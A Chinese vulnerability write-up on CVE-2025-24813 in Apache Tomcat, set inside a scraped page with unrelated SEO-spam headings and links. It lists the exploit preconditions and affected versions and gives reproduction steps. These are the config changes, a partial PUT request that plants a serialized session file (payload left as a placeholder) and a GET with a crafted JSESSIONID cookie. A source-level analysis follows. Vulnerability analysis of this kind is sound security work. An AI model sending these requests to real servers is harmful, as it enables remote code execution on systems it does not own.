当前位置: 首页 > wzjs >正文

民宅挂在民宿网站上 保洁谁做开封seo推广

民宅挂在民宿网站上 保洁谁做,开封seo推广,网站与建设实训报告,wordpress钢琴导航1.漏洞描述 Tomcat 是一个开源的、轻量级的 Web 应用服务器 和 Servlet 容器。它由 Apache 软件基金会下的 Jakarta 项目开发,是目前最流行的 Java Web 服务器之一。 该漏洞利用条件较为复杂,需同时满足以下四个条件: 应用程序启用了Defaul…

1.漏洞描述

Tomcat 是一个开源的、轻量级的 Web 应用服务器 和 Servlet 容器。它由 Apache 软件基金会下的 Jakarta 项目开发,是目前最流行的 Java Web 服务器之一。

该漏洞利用条件较为复杂,需同时满足以下四个条件:

    应用程序启用了DefaultServlet写入功能,该功能默认关闭

    应用支持了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中,该功能默认开启

    应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置,需要额外配置

    应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件取决于业务实现是否依赖存在反序列化利用链的库

2.影响版本

9.0.0.M1 <= tomcat <= 9.0.98
10.1.0-M1 <= tomcat <= 10.1.34
11.0.0-M1 <= tomcat <= 11.0.2

3.漏洞复现

conf/web.xml中,将DefaultServletreadonly配置为false,启用写入功能

conf/context.xml

在conf/context.xml中,添加如下配置,开启File文件会话存储

    <Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore"/> </Manager>  

 

将Commons Collections 3.2.1.jar放入lib文件夹

commons-collections:commons-collections:3.2.1 可以使用CommonsCollectionsK1 ,CommonsCollectionsK3 等链来打

 

PUT /000/session HTTP/1.1Host: 192.168.100.1:8080Content-Length: 1000 Content-Range: bytes 0-1000/1200 {{反序列化文件内容)}}

该文件会在tomcat中\work\Catalina\localhost\ROOT目录生成

GET / HTTP/1.1 Host: 192.168.10.218:8080Cookie: JSESSIONID=.000

 

4.漏洞分析

自带的一个 Servelet 会处理一些默认类型的请求,如 PUT、POST、GET。

CVE-2017-12615、CVE-2024-50379均涉及该方法,也就是 doPUT,其实逻辑很简单,如以下代码。

WebResource oldResource = this.resources.getResource(path)

这里直接获取 Web 根目录了,然后将文件上传,这也是最开始的 PUT 文件上传漏洞点。而今天的漏洞点出自上述的 else 分支。

executePartialPut

Tomcat 在处理不完整的 PUT 请求有单独的逻辑。这个和请求头 Content-Range 有关

其实你可以理解为和分块差不多一个意思。

PUT /CVE_2025_24813_war_exploded/a/session HTTP/1.1
Host: 192.168.10.218:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200 testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest

利用该方法上传一个session 文件,看看过程

start、end、length和请求头对应,随后会进入 executePartialPut 内。

在这里会将斜杠替换为.,因此我们可以上传一个 xxx.session 文件。具体处理逻辑在底部

核心逻辑在这里,以 range.length作为文件的长度,range.start作为起始点开始处理流,这也是为什么 length 必须要大于 body 的总长度,不然无法将内容完全上传。

状态码409 错误,实际上已经上传了

FileStore#load

这部分是反序列化触发点,CVE-2020-9484出自这里,所以不难看出这其实是一个组合漏洞,当时CVE-2020-9484是因为存在目录穿越问题所以可以穿越加载一个自定义的序列化文件。

this.file(id); 内容如下

修复方式就是getCanonicalFile处理穿越问题。因此无法目录穿越了,只能加载缓存目录下的.session后缀文件并且将其反序列化。反序列化的触发点是没删除的。

http://www.dtcms.com/wzjs/386643.html

相关文章:

  • 北京网站制作公司有哪些营销与销售的区别
  • 石家庄公司的网站设计网店运营与推广
  • mac上用wordpress网站建设推广优化
  • 成都网页制作设计全国最好网络优化公司
  • 网站共享备案可以申请支付接口商丘seo博客
  • wordpress价格比较模板北京seo供应商
  • 中山古镇做网站的公司关键词排名优化公司哪家强
  • 微网站设置免费网络营销方式
  • 能看任何网站的浏览器seo外链软件
  • 葫芦岛市住房和城乡建设局网站前端培训班一般多少钱
  • 集团公司网站怎么做网站被百度收录
  • 图片展示 网站公司官网模板
  • 衡水哪家制作网站好教育机构网站
  • 网站建设维护公司资质外链管理
  • 免费b站推广网站入口2020网站推广常用的方法
  • 如何做一起好的视频宣传自己的网站周口网络推广哪家好
  • 上海的外贸网站建设公司价格百度开户是什么意思
  • 网络域名申请条件站内优化包括哪些
  • 如何做网站卖衣服北京推广平台
  • 网站空间送域名苏州网络推广seo服务
  • 网站建设服务合同印花税google搜索优化方法
  • 网站制造公司欧美seo查询
  • 智能建筑网站网络服务提供商
  • 政府门户网站如何做预算今天的重要新闻
  • 宁波高新区建设局网站网推项目平台
  • 网站集约化建设的目的长春网站搭建
  • 网站分为几部分2000元代理微信朋友圈广告
  • 上海网站建设广告语友情链接是外链吗
  • 做网站选哪家好人力资源培训与开发
  • 替人做赌彩网站被判刑网站seo排名